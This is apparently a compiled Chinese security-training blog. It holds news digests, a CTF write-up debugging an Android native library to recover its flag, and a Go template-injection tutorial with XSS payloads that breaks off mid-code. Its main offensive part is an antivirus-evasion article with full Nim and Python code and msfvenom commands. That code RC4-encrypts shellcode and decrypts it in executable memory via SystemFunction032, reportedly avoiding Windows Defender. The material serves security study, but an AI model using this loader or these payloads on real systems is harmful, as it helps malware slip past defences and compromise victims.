蚁景科技助力河北省税务系统网络安全培训成功举办
随着信息化程度的全面展开,税务行业对从业人员“网络安全”能力的要求日益提高。进一步增强税务人员的网络安全意识,提高网络安全技能,防范网络安全风险和威胁的能力迫在眉睫!
近日,蚁景科技与国家税务总局税务干部学院(长沙)合作,共同支撑了河北省税务系统的网络安全培训。
本次培训内容涵盖数据库安全、中间件安全、主机值守安全、数据安全、蓝队应急响应、网络设备运维和前沿实战技术等多个方面。助力河北省税务干部全面提升网络安全意识,提高网络安全实战能力。
接到项目需求后,蚁景科技集结资深讲师,规划培养方向与课程体系,为河北省税务系统提供了定制化的网安人才培养解决方案。
在大数据、人工智能等技术和学科发展迅速的当下,网络安全培训,对提升企业网络安全的能力,促进企业“更安全、更具信息化”发展,有着至关重要的意义。
湖南蚁景科技有限公司作为国内领先的“网络安全人才培养服务提供商”,为配合国家网络安全人才培养战略,以市场需求为导向,以能力提升为目标,从高校科研、教学实训及企事业单位实际需求出发,基于对“互联网+教育”的深刻理解,通过自主研发的“网络安全人才实训靶场”,为高校、政企单位、科研院所等行业客户提供满足在线实验教学的虚拟实验环境与各种课件资源,同时为广大网安爱好者提供技能培训、人才推荐等服务。
网络安全日报 2022年11月30日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、Oracle Access Manager漏洞被黑客攻击广泛利用
https://www.securityweek.com/oracle-fusion-middleware-vulnerability-exploited-wild 2、网络犯罪分子利用最近的 Fortinet 漏洞出售网络访问权
https://www.securityweek.com/cybercriminals-selling-access-networks-compromised-recent-fortinet-vulnerability 3、研究人员披露AWS AppSync服务中的跨租户漏洞
https://securityaffairs.co/wordpress/139045/hacking/amazon-web-services-flaw.html 4、黑客利用流行的 TikTok的热门挑战活动诱骗用户下载恶意软件
https://thehackernews.com/2022/11/hackers-using-trending-invisible.html 5、北卡罗来纳大学证实勒索软件集团窃取了敏感数据
https://therecord.media/north-carolina-college-confirms-ransomware-group-stole-sensitive-data/ 6、研究人员发现针对中东个人和企业的网络钓鱼活动
https://www.infosecurity-magazine.com/news/phishing-impersonating-uae/ 7、德国隐私监管机构认为 Microsoft 365 不兼容 GDPR
https://www.solidot.org/story?sid=73491 8、NordPass 公布2022 年最常用的密码,"password"居榜首
https://www.theregister.com/2022/11/25/infosec_roundup/ 9、RansomEXX更新Rust恶意软件以提高规避能力
https://www.inforisktoday.com/ransomexx-updates-to-rust-malware-to-improve-evasion-a-20554 10、研究人员在Google Play中发现用于非法创建账户的恶意应用程序
https://www.bleepingcomputer.com/news/security/malicious-android-app-found-powering-account-creation-service/
网络安全日报 2022年11月29日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、Twitter 数据泄露比最初报告的更大,可能超过 1 亿用户受到影响
https://www.securityweek.com/twitter-data-breach-bigger-initially-reported 2、爱尔兰数据监管机构因Meta数据泄露问题对其处以 2.65 亿欧元罚款
https://www.securityweek.com/irish-regulator-fines-meta-265-million-euros-over-data-breach 3、十多个新的 BMC 固件漏洞使 OT 和 IoT 设备面临远程攻击
https://thehackernews.com/2022/11/over-dozen-new-bmc-firmware-flaws.html 4、某些 Acer 笔记本电脑中的漏洞可用于绕过UEFI安全启动
https://securityaffairs.co/wordpress/139055/hacking/acer-flaw-uefi-secure-boot.html 5、酒店管理公司Sonder遭遇数据泄露
https://www.infosecurity-magazine.com/news/sonder-confirms-data-breach/ 6、加拿大安大略省中学教师联合会遭受勒索软件攻击
https://www.thepeterboroughexaminer.com/ts/news/gta/2022/11/23/osstf-victim-of-ransomware-attack-notifies-members-of-personal-data-compromised.html 7、Maple Leaf Foods承认受到勒索攻击并表示不会支付赎金
https://www.itworldcanada.com/article/black-basta-ransomware-group-claims-it-hit-maple-leaf-foods/515358 8、研究人员发现Koxic勒索软件正在韩国传播
https://asec.ahnlab.com/en/42343/ 9、研究人员称网络犯罪团伙正在非洲各地扩张
https://www.pehalnews.in/gangs-of-cybercriminals-are-expanding-across-africa-investigators-say/2645667/ 10、一团伙假装应聘潜入电商公司安装木马软件,盗取物流信息
https://www.secrss.com/articles/49375
网络安全日报 2022年11月28日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、美国FCC以国家安全风险为由禁止进口华为、中兴等五家公司的电子设备
https://securityaffairs.co/wordpress/138998/breaking-news/fcc-bans-import-chinese-equipment.html 2、戴尔、惠普和联想的设备使用过时的 OpenSSL 版本
https://securityaffairs.co/wordpress/138986/security/dell-hp-lenovo-openssl-outdated.html 3、谷歌修复了今年以来第八个chrome零日漏洞
https://securityaffairs.co/wordpress/138977/hacking/8-google-chrome-zero-day.html 4、专家调查 WhatsApp 数据泄露:5 亿用户记录待售
https://securityaffairs.co/wordpress/138967/data-breach/whatsapp-data-leak-500m.html 5、英国警方逮捕了 142 个与"iSpoof"电话欺骗服务有关的嫌疑人
https://thehackernews.com/2022/11/uk-police-arrest-142-in-global.html 6、Windows IKE v1协议扩展被发现存在远程代码执行漏洞
https://www.infosecurity-magazine.com/news/rce-vulnerability-in-windows-ike/ 7、新德里的全印度医学科学研究所遭受勒索软件攻击
https://techcrunch.com/2022/11/24/india-aiims-outages-cyberattack/ 8、BlackBasta勒索组织利用Qakbot传播勒索软件
https://www.infosecurity-magazine.com/news/qakbot-linked-to-black-basta/ 9、Docker Hub存储库中存在1650个以上的恶意容器
https://www.bleepingcomputer.com/news/security/docker-hub-repositories-hide-over-1-650-malicious-containers/ 10、攻击者利用仿冒的MSI Afterburner程序攻击Windows游戏玩家
https://www.bleepingcomputer.com/news/security/fake-msi-afterburner-targets-windows-gamers-with-miners-info-stealers/
一道Android题目逆向动态调试
题目来源于海淀区网络与信息安全管理员大赛,题目中将加密验证算法打包进.so,在程序中动态调用check。
本题目通过System.loadLibrary("native-lib")加载了libnative-lib.so文件,该文件通过jeb可以实现提取
图1 题目关键代码
调试环境选择与配置
mumu模拟器 x64位版本,测试后发现sprintf会导致程序崩溃
夜神模拟器x64,x32的版本经过测试后,sprintf均导致程序崩溃
雷电5模拟器测试后,sprintf导致程序崩溃,动态调试libnative-lib.so时,且无法下载libart.so
最终选用 mumu x32位版本可以进行调试
动态调试选用IDA+MUMU x86模拟器对动态库libnative-lib.so调试
调试环境
adb的基础配置
mumu模拟器使用的adb为adb_server.exe,这里将adb_server.exe为便于使用重新命名为adb.exe,打开一个cmd终端,adb 接入模拟器中
adb connect 127.0.0.1:7555
图2 adb 服务端连接
通过adb 将apk 包安装进安卓的模拟器
adb install test.apk
通过cmd再打开一个终端,通过adb shell可以直接进入到模拟器shell中
图3 adb shell连接
应用程序的配置
在新起的cmd终端,通过动态调试模式来启动app
./adb shell am start -D -n com.example.dynamic/.MainActivity
android包实际的packet以及类如下图所示com.example.dynamic/.MainActivity
图4 adb 启动程序分析
运行 adb shell am start命令后,mumu模拟器中如图5所示
图5 adb 动态调试程序
IDA 的配置
上传IDA的动态服务端android_x86_server到模拟器/data/local/tmp中,tmp文件夹是具有可执行权限的
./adb push android_x86_server /data/local/tmp
图6 查看tmp文件夹权限
赋予android_x86_server可执行权限
chmod +x android_x86_server
执行android_x86_server,会监听23946端口,但是仍需要通过adb进行端口转发转发到本地监听
./adb.exe forward tcp:23946 tcp:23946
图7 启动IDA 调试server端
通过以上步骤使启动服务端IDA的监听
配置本地IDA remote linux debug参数,如图8所示
图8 配置IDA动态调试
通过attach process 打开远程端的进程
图9 IDA远程attach
选择对应的进程,这里选用1535进程
‘
图10 附加到指定进程
通过以上步骤,将IDA 服务端和.so文件关联到一起,仍需要唤醒被调试的程序,此时mumu模拟器中仍旧如图11所示
图11 dynamic程序界面
通过jdb来唤醒被调试程序,本机调试的时候jdb使用java sdk自带的jdb,需要两步操作
通过adb将进程进行转发,进程号是图n中所示的1535
./adb forward tcp:8700 jdwp:1535
通过jdb唤醒操作
jdb -connect com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=8700
再回到IDA中,选择F9继续运行程序,会弹出框选择本地程序与远程是否一样选项框,主要匹配的是动态库libnative-lib.so这个名字
图12 IDA提示检测到本地.so
IDA中断点断在ptrace前,mumu模拟器中界面未完全同步
图13 附加到调试进程后,dynamic界面
IDA中界面如下
图14 IDA中显示断点
.so的调试
反调试绕过
该.so使用了ptrace 反调试,在ptrace处设置断点,下断点的时候有两种方案
一种是设置IDA 的调试调试,设置载入lib的时候suspend
图15 IDA调试选项配置
当看到IDA中载入libnative-lib.so时,通过快捷键Ctrl-S打开加载的段,查找libnative-lib.so所在内存1
图16 查看IDA中的代码段
还可以在模拟器shell中,查看具体的内存信息
图17 adb shell中查看内存中的数据地址分布
在动态调试的过程中,重置ptrace 的返回值,绕过该处反调试
图18 重置eax的值
可以直接右键或者在eax寄存器上使用快捷键0重置
另外一种方式是直接在ptrace上下断点,在调试的时候当IDA弹窗如图17所示时,程序会直接断在ptrace断点处。如果没有弹出该弹窗,直接在IDA中分析该so时下的断点无效。
图19 重置eax的值
注册native的方法
在 Native文件中代码如下
static JNINativeMethod jniMethods[] = {
{"check", "(Ljava/lang/String;)Z", (void *)hello},
};
boolean xxxx( char* s) {
// do something
return JNI_TRUE;
}
#在JNI_OnLoad中调用RegisterNatives方法注册Natives方法到JVM,建立映射关系。
int JNI_OnLoad(JavaVM *vm, void *reserved)
{
JNIEnv *env;
if ((*vm)->GetEnv(vm, (void **)&env, JNI_VERSION_1_4) != JNI_OK) {
return JNI_ERR;
}
jclass cls = (*env)->FindClass(env, "LHelloJNI");
if (cls == NULL)
return JNI_ERR;
int len = sizeof(jniMethods) / sizeof(jnimethods[0]);
(*env)->RegisterNatives(env, cls, jniMethods, len);
return JNI_VERSION_1_4;
}
check 函数的定位
在apk文件中,反编译后可以看到check函数位于libnative-lib.so中,但是libnative-lib.so中并没有check函数
图20 查找check函数
Java调用.so库函数可以通过静态注册和动态注册两种方式,题目通过动态注册的方式来对函数进行调用
在上图中methods一列,是一个JNINativeMethod的数组,JNINativeMethod结构包含三个成员
const char \*name: Java中声明的native方法。
const char \*signature:方法的签名。
void \*fnPtr: 函数指针
在题目的methods中,check字符串,对应的函数指针为Z4xxxxP7_JNIEnvP8_jobjectP8_jstring ; xxxx(JNIEnv *,jobject *,jstring *)也就是xxxx函数。
图21 定位check函数
MD5的简单调试
MD5_init的过程如下,根据初始值可以大概判定题目通过md5算hash值
*(_OWORD *)v63 = xmmword_B2E6FA40;
.rodata:B2E6FA40 xmmword_B2E6FA40 xmmword 1032547698BADCFEEFCDAB8967452301h
经过fff函数转换后的md5值放入[esp+0B4]中
.text:B2E51040 8D 84 24 B4 00 00 00 lea eax, [esp+0B4h]
.text:B2E51047 89 44 24 04 mov [esp+4], eax
.text:B2E5104B 8D 44 24 58 lea eax, [esp+58h]
.text:B2E5104F 89 04 24 mov [esp], eax
.text:B2E51052 E8 A9 E7 FF FF call __Z4ffffP7MD5_CTXPh ; ffff(MD5_CTX *,uchar *)
读取[esp+0xB4]的值
Python>esp=get_reg_value('esp')
Python>data=get_bytes(esp+0xb4,16)
Python>data.hex()
'a82e0cb168bfe134f22dbde167cf046c'
通过python计算wojiushidaan0!!!的md5值为
>>> import hashlib
>>> result=hashlib.md5("wojiushidaan0!!!".encode())
>>> result
<md5 _hashlib.HASH object @ 0x00000167FF8BDEF0>
>>> result.hexdigest()
'a82e0cb168bfe134f22dbde167cf046c'
两者可以对应起来,题目计算了wojiushidaan0!!!的md5值
程序最终经过memcmp比较的时候的值为
.text:B2F11398 89 54 24 08 mov [esp+8], edx
.text:B2F1139C 8B 44 24 14 mov eax, [esp+14h]
.text:B2F113A0 89 44 24 04 mov [esp+4], eax ; s2
.text:B2F113A4 89 0C 24 mov [esp], ecx ; s1
.text:B2F113A7 E8 84 E4 FF FF call _memcmp
提取eax的值为
b'c640fc761edbd22f431efb861bc0e28a'
提取ecx的值为
b'12345678123456781234567812345678'
程序的输入为
图22 调试flag结果
推导可知题目的正确输入为
flag{c640fc761edbd22f431efb861bc0e28a}
图23 验证flag结果
在调试md5的时候,使用了IDA的上色功能,通过单步步过调试,给执行过的代码染色
IDAPro 单步步过上色调试脚本
def get_new_color(current_color):
colors = [0xffe699, 0xffcc33, 0xe6ac00, 0xb38600]
if current_color == 0xFFFFFF:
return colors[0]
if current_color in colors:
pos = colors.index(current_color)
if pos == len(colors)-1:
return colors[pos]
else:
return colors[pos+1]
return 0xFFFFFF
addr = ida_dbg.get_ip_val()
while addr < 0xB2ED241F:
event = wait_for_next_event(WFNE_ANY, -1)
t = step_over()
addr = ida_dbg.get_ip_val()
current_color = get_color(addr, CIC_ITEM)
new_color = get_new_color(current_color)
set_color(addr, CIC_ITEM, new_color)
#https://www.cnblogs.com/blacksunny/p/7300271.html参考trace 修改的step over
有待改进的地方
绕过反调试依赖于动态调试时的修改寄存器实现
本文涉及的命令
adb connect 127.0.0.1:7555
adb install test.apk
./adb shell am start -D -n com.example.dynamic/.MainActivity
./adb push android_x86_server /data/local/tmp
./adb.exe forward tcp:23946 tcp:23946
./adb forward tcp:8700 jdwp:1535
jdb -connect com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=8700
网络安全日报 2022年11月25日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、研究人员称 iPhone 的分析数据不是匿名的
https://securityaffairs.co/wordpress/138884/digital-id/iphone-found-collecting-personal-data.html 2、数以百万计的 Android 设备仍然没有更新 Mali GPU 漏洞补丁
https://thehackernews.com/2022/11/million-of-android-devices-still-dont.html 3、Qakbot 感染与 Black Basta 勒索软件活动有关
https://www.infosecurity-magazine.com/news/qakbot-linked-to-black-basta/ 4、20万Roblox玩家安装了恶意Chrome扩展程序"SearchBlox"
https://www.bleepingcomputer.com/news/security/backdoored-chrome-extension-installed-by-200-000-roblox-players/ 5、Ducktail组织利用WhatsApp进行钓鱼活动以窃取Facebook商业账户
https://www.bleepingcomputer.com/news/security/ducktail-hackers-now-use-whatsapp-to-phish-for-facebook-ad-accounts/ 6、美国国防部发布零信任网络战略和路线图
https://www.secrss.com/articles/49269 7、黑客通过已停产的Boa Web服务器漏洞破坏能源组织
https://securityaffairs.co/wordpress/138916/hacking/boa-web-servers-attacks.html 8、印度证券业关键机构遭恶意软件入侵,部分设备已隔离
https://www.secrss.com/articles/49261 9、Nighthawk可能成为继CobaltStrike后新的黑客后渗透工具
https://thehackernews.com/2022/11/nighthawk-likely-to-become-hackers-new.html 10、D0nut勒索组织正对企业部署双重勒索
https://www.freebuf.com/news/350528.html
SystemFunction032函数的免杀研究
什么是SystemFunction032函数?
虽然Benjamin Delphi在2013年就已经在Mimikatz中使用了它,但由于我之前对它的研究并不多,才有了下文。
这个函数能够通过RC4加密方式对内存区域进行加密/解密。例如,ReactOS项目的代码中显示,它需要一个指向RC4_Context结构的指针作为输入,以及一个指向加密密钥的指针。
不过,目前来看,除了XOR操作,至少我个人还不知道其他的针对内存区域加密/解密的替代函数。但是,你可能在其他研究员的博客中也读到过关于规避内存扫描器的文章,使用简单的XOR操作,攻击者即使是使用了较长的密钥,也会被AV/EDR供应商检测到。
初步想法
虽然RC4算法被认为是不安全的,甚至多年来已经被各个安全厂商研究,但是它为我们提供了一个更好的内存规避的方式。如果我们直接使用AES,可能会更节省OpSec。但是一个简单的单一的Windows API是非常易于使用的。
通常情况下,如果你想在一个进程中执行Shellcode,你需要执行以下步骤。
1、打开一个到进程的句柄
2、在该进程中分配具有RW/RX或RWX权限的内存
3、将Shellcode写入该区域
4、(可选)将权限从RW改为RX,以便执行
5、以线程/APC/回调/其他方式执行Shellcode。
为了避免基于签名的检测,我们可以在执行前对我们的Shellcode进行加密并在运行时解密。
例如,对于AES解密,流程通常是这样的。
1、打开一个到进程的句柄
2、用RW/RX或RWX的权限在该进程中分配内存
3、解密Shellcode,这样我们就可以将shellcode的明文写入内存中
4、将Shellcode写入分配的区域中
5、(可选)把执行的权限从RW改为RX
6、以线程/APC/回调/其他方式执行Shellcode
在这种情况下,Shellcode本身在写入内存时可能会被发现,例如被用户区的钩子程序发现,因为我们需要把指向明文Shellcode的指针传递给WriteProcessMemory或NtWriteVirtualMemory。
XOR的使用可以很好的避免这一点,因为我们还可以在将加密的值写入内存后XOR解密内存区域。简单来讲就像这样。
1、为进程打开一个句柄
2、在该进程中以RW/RX或RWX的权限分配内存
3、将Shellcode写入分配的区域中
4、XOR解密Shellcode的内存区域
5、(可选)把执行的权限从RW改为RX
6、以线程/APC/回调/其他方式执行Shellcode。
但是XOR操作很容易被发现。所以我们尽可能不去使用这种方式。
这里有一个很好的替代方案,我们可以利用SystemFunction032来解密Shellcode,然后将其写入内存中。
生成POC
首先,我们需要生成Shellcode,然后使用OpenSSL对它进行RC4加密。因此,我们可以使用msfvenom来生成。
msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
cat calc.bin | openssl enc -rc4 -nosalt -k "aaaaaaaaaaaaaaaa" > enccalc.bin
但后来在调试时发现,SystemFunction032的加密/解密方式与OpenSSL/RC4不同。所以我们不能这样做。
最终修改为
openssl enc -rc4 -in calc.bin -K `echo -n 'aaaaaaaaaaaaaaaa' | xxd -p` -nosalt > enccalc.bin
我们也可以使用下面的Nim代码来获得一个加密的Shellcode blob(仅Windows操作系统)。
import winim
import winim/lean
# msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
const encstring = slurp"calc.bin"
func toByteSeq*(str: string): seq[byte] {.inline.} =
## Converts a string to the corresponding byte sequence.
@(str.toOpenArrayByte(0, str.high))
proc SystemFunction032*(memoryRegion: pointer, keyPointer: pointer): NTSTATUS
{.discardable, stdcall, dynlib: "Advapi32", importc: "SystemFunction032".}
# This is the mentioned RC4 struct
type
USTRING* = object
Length*: DWORD
MaximumLength*: DWORD
Buffer*: PVOID
var keyString: USTRING
var imgString: USTRING
# Our encryption Key
var keyBuf: array[16, char] = [char 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a']
keyString.Buffer = cast[PVOID](&keyBuf)
keyString.Length = 16
keyString.MaximumLength = 16
var shellcode = toByteSeq(encstring)
var size = len(shellcode)
# We need to still get the Shellcode to memory to encrypt it with SystemFunction032
let tProcess = GetCurrentProcessId()
echo "Current Process ID: ", tProcess
var pHandle: HANDLE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, tProcess)
echo "Process Handle: ", repr(pHandle)
let rPtr = VirtualAllocEx(
pHandle,
NULL,
cast[SIZE_T](size),
MEM_COMMIT,
PAGE_READ_WRITE
)
copyMem(rPtr, addr shellcode[0], size)
# Fill the RC4 struct
imgString.Buffer = rPtr
imgString.Length = cast[DWORD](size)
imgString.MaximumLength = cast[DWORD](size)
# Call SystemFunction032
SystemFunction032(&imgString, &keyString)
copyMem(addr shellcode[0],rPtr ,size)
echo "Writing encrypted shellcode to dec.bin"
writeFile("enc.bin", shellcode)
# enc.bin contains our encrypted Shellcode
之后,又写出了一个简单的Python脚本,用Python脚本简化了加密的过程。
#!/usr/bin/env python3
from typing import Iterator
from base64 import b64encode
# Stolen from: https://gist.github.com/hsauers5/491f9dde975f1eaa97103427eda50071
def key_scheduling(key: bytes) -> list:
sched = [i for i in range(0, 256)]
i = 0
for j in range(0, 256):
i = (i + sched[j] + key[j % len(key)]) % 256
tmp = sched[j]
sched[j] = sched[i]
sched[i] = tmp
return sched
def stream_generation(sched: list[int]) -> Iterator[bytes]:
i, j = 0, 0
while True:
i = (1 + i) % 256
j = (sched[i] + j) % 256
tmp = sched[j]
sched[j] = sched[i]
sched[i] = tmp
yield sched[(sched[i] + sched[j]) % 256]
def encrypt(plaintext: bytes, key: bytes) -> bytes:
sched = key_scheduling(key)
key_stream = stream_generation(sched)
ciphertext = b''
for char in plaintext:
enc = char ^ next(key_stream)
ciphertext += bytes([enc])
return ciphertext
if __name__ == '__main__':
# msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
with open('calc.bin', 'rb') as f:
result = encrypt(plaintext=f.read(), key=b'aaaaaaaaaaaaaaaa')
print(b64encode(result).decode())
为了执行这个shellcode,我们可以简单地使用以下Nim代码。
import winim
import winim/lean
# (OPTIONAL) do some Environmental Keying stuff
# Encrypted with the previous code
# Embed the encrypted Shellcode on compile time as string
const encstring = slurp"enc.bin"
func toByteSeq*(str: string): seq[byte] {.inline.} =
## Converts a string to the corresponding byte sequence.
@(str.toOpenArrayByte(0, str.high))
proc SystemFunction032*(memoryRegion: pointer, keyPointer: pointer): NTSTATUS
{.discardable, stdcall, dynlib: "Advapi32", importc: "SystemFunction032".}
type
USTRING* = object
Length*: DWORD
MaximumLength*: DWORD
Buffer*: PVOID
var keyString: USTRING
var imgString: USTRING
# Same Key
var keyBuf: array[16, char] = [char 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a']
keyString.Buffer = cast[PVOID](&keyBuf)
keyString.Length = 16
keyString.MaximumLength = 16
var shellcode = toByteSeq(encstring)
var size = len(shellcode)
let tProcess = GetCurrentProcessId()
echo "Current Process ID: ", tProcess
var pHandle: HANDLE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, tProcess)
let rPtr = VirtualAllocEx(
pHandle,
NULL,
cast[SIZE_T](size),
MEM_COMMIT,
PAGE_EXECUTE_READ_WRITE
)
copyMem(rPtr, addr shellcode[0], size)
imgString.Buffer = rPtr
imgString.Length = cast[DWORD](size)
imgString.MaximumLength = cast[DWORD](size)
# Decrypt memory region with SystemFunction032
SystemFunction032(&imgString, &keyString)
# (OPTIONAL) we could Sleep here with a custom Sleep function to avoid memory Scans
# Directly call the Shellcode instead of using a Thread/APC/Callback/whatever
let f = cast[proc(){.nimcall.}](rPtr)
f()
最终效果,至少windows defender不会报毒。
通过使用这个方法,我们几乎可以忽略用户区的钩子程序,因为我们的明文Shellcode从未被传递给任何函数(只有SystemFunction032本身)。当然,所有这些供应商都可以通过钩住Advapi32/SystemFunction032来检测我们。
后记
之后我想到了一个更加完美的想法。通过使用PIC-Code,我们也可以省去我的PoC中所使用的其他Win32函数。因为在编写PIC-Code时,所有的代码都已经被包含在了.text部分,而这个部分通常默认有RX权限,这在很多情况下是已经足够了。所以我们不需要改变内存权限,也不需要把Shellcode写到内存中。
简单来讲是以下这种情况:
1、调用SystemFunction032来解密Shellcode
2、直接调用它
例如,PIC-Code的样本代码可以在这里找到。对于Nim语言来说,之前发布了一个库,它也能让我们相对容易地编写PIC代码,叫做Bitmancer。
网络安全日报 2022年11月24日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、深圳发布首个公共数据安全领域标准《公共数据安全要求》
https://www.freebuf.com/news/350609.html 2、LockBit 3.攻击了加拿大韦斯特蒙市政服务平台,导致其瘫痪
https://www.freebuf.com/news/350538.html 3、黑客组织 Killnet 对英国网站发起多次攻击
https://www.express.co.uk/news/uk/1699778/Killnet-hackers-Russia-war-UK-websites-Royal-Family-latest-update 4、 恶意安卓应用伪装成文件管理器传播Sharkbot窃密木马
https://www.bleepingcomputer.com/news/security/android-file-manager-apps-infect-thousands-with-sharkbot-malware/ 5、以世界杯为主题的钓鱼网站大幅增加
https://securityboulevard.com/2022/11/surge-of-fake-fifa-world-cup-streaming-sites-targets-virtual-fans/ 6、Windows 8.1 将于明年 1 月 10 日停止支持
https://www.solidot.org/story?sid=73442 7、勒索软件RansomExx2 已使用 Rust 完全重写
https://securityintelligence.com/posts/ransomexx-upgrades-rust/ 8、澳大利亚慈善机构The Smith Family遭受网络攻击
https://www.govinfosecurity.com/australian-childrens-charity-breach-affects-80000-donors-a-20528 9、研究人员发现新的勒索软件-Donut
https://www.bleepingcomputer.com/news/security/donut-extortion-group-also-targets-victims-with-ransomware/ 10、支付宝等5家机构首批通过“个人金融信息保护能力”认证
http://www.news.cn/tech/20221122/3452a998efbb4e91b1b8417de8ea0db5/c.html
浅学Go下的ssti漏洞问题
前言
作为强类型的静态语言,golang的安全属性从编译过程就能够避免大多数安全问题,一般来说也唯有依赖库和开发者自己所编写的操作漏洞,才有可能形成漏洞利用点,在本文,主要学习探讨一下golang的一些ssti模板注入问题。
GO模板引擎
Go 提供了两个模板包。一个是 text/template,另一个是html/template。text/template对 XSS 或任何类型的 HTML 编码都没有保护,因此该模板并不适合构建 Web 应用程序,而html/template与text/template基本相同,但增加了HTML编码等安全保护,更加适用于构建web应用程序。
template简介
template之所以称作为模板的原因就是其由静态内容和动态内容所组成,可以根据动态内容的变化而生成不同的内容信息交由客户端,以下即一个简单例子
模板内容 Hello, {{.Name}} Welcome to go web programming…
期待输出 Hello, liumiaocn Welcome to go web programming…
而作为go所提供的模板包,text/template和html/template的主要区别就在于对于特殊字符的转义与转义函数的不同,但其原理基本一致,均是动静态内容结合,以下是两种模板的简单演示。
text/template
package main
import (
"net/http"
"text/template"
)
type User struct {
ID int
Name string
Email string
Password string
}
func StringTpl2Exam(w http.ResponseWriter, r *http.Request) {
user := &User{1,"John", "test@example.com", "test123"}
r.ParseForm()
tpl := `<h1>Hi, {{ .Name }}</h1><br>Your Email is {{ .Email }}`
data := map[string]string{
"Name": user.Name,
"Email": user.Email,
}
html := template.Must(template.New("login").Parse(tpl))
html.Execute(w, data)
}
func main() {
server := http.Server{
Addr: "127.0.0.1:8888",
}
http.HandleFunc("/string", StringTpl2Exam)
server.ListenAndServe()
}
struct是定义了的一个结构体,在go中,我们是通过结构体来类比一个对象,因此他的字段就是一个对象的属性,在该实例中,我们所期待的输出内容为下
模板内容 <h1>Hi, {{ .Name }}</h1><br>Your Email is {{ .Email }}
期待输出 <h1>Hi, John</h1><br>Your Email is test@example.com
可以看得出来,当传入参数可控时,就会经过动态内容生成不同的内容,而我们又可以知道,go模板是提供字符串打印功能的,我们就有机会实现xss。
package main
import (
"net/http"
"text/template"
)
type User struct {
ID int
Name string
Email string
Password string
}
func StringTpl2Exam(w http.ResponseWriter, r *http.Request) {
user := &User{1,"John", "test@example.com", "test123"}
r.ParseForm()
tpl := `<h1>Hi, {{"<script>alert(/xss/)</script>"}}</h1><br>Your Email is {{ .Email }}`
data := map[string]string{
"Name": user.Name,
"Email": user.Email,
}
html := template.Must(template.New("login").Parse(tpl))
html.Execute(w, data)
}
func main() {
server := http.Server{
Addr: "127.0.0.1:8888",
}
http.HandleFunc("/string", StringTpl2Exam)
server.ListenAndServe()
}
模板内容 <h1>Hi, {{"<script>alert(/xss/)</script>"}}</h1><br>Your Email is {{ .Email }}
期待输出 <h1>Hi, {{"<script>alert(/xss/)</script>"}}</h1><br>Your Email is test@example.com
实际输出 弹出/xss/
这里就是text/template和html/template的最大不同了。
html/template
同样的例子,但是我们把导入的模板包变成html/template
package main
import (
"net/http"
"html/template"
)
type User struct {
ID int
Name string
Email string
Password string
}
func StringTpl2Exam(w http.ResponseWriter, r *http.Request) {
user := &User{1,"John", "test@example.com", "test123"}
r.ParseForm()
tpl := `<h1>Hi, {{"<script>alert(/xss/)</script>"}}</h1><br>Your Email is {{ .Email }}`
data := map[string]string{
"Name": user.Name,
"Email": user.Email,
}
html := template.Must(template.New("login").Parse(tpl))
html.Execute(w, data)
}
func main() {
server := http.Server{
Addr: "127.0.0.1:8888",
}
http.HandleFunc("/string", StringTpl2Exam)
server.ListenAndServe()
}
可以看到,xss语句已经被转义实体化了,因此对于html/template来说,传入的script和js都会被转义,很好地防范了xss,但text/template也提供了内置函数html来转义特殊字符,除此之外还有js,也存在template.HTMLEscapeString等转义函数。
而通过html/template包等,go提供了诸如Parse/ParseFiles/Execute等方法可以从字符串或者文件加载模板然后注入数据形成最终要显示的结果。
html/template 包会做一些编码来帮助防止代码注入,而且这种编码方式是上下文相关的,这意味着它可以发生在 HTML、CSS、JavaScript 甚至 URL 中,模板库将确定如何正确编码文本。
template常用基本语法
在{{}}内的操作称之为pipeline
{{.}} 表示当前对象,如user对象
{{.FieldName}} 表示对象的某个字段
{{range …}}{{end}} go中for…range语法类似,循环
{{with …}}{{end}} 当前对象的值,上下文
{{if …}}{{else}}{{end}} go中的if-else语法类似,条件选择
{{xxx | xxx}} 左边的输出作为右边的输入
{{template "navbar"}} 引入子模版
漏洞演示
在go中检测 SSTI 并不像发送 {{7*7}} 并在源代码中检查 49 那么简单,我们需要浏览文档以查找仅 Go 原生模板中的行为,最常见的就是占位符.
在template中,点"."代表当前作用域的当前对象,它类似于java/c++的this关键字,类似于perl/python的self。
package main
import (
"net/http"
"text/template"
)
type User struct {
ID int
Name string
Email string
Password string
}
func StringTpl2Exam(w http.ResponseWriter, r *http.Request) {
user := &User{1,"John", "test@example.com", "test123"}
r.ParseForm()
tpl := `<h1>Hi, {{ .Name }}</h1><br>Your Email is {{ . }}`
data := map[string]string{
"Name": user.Name,
"Email": user.Email,
}
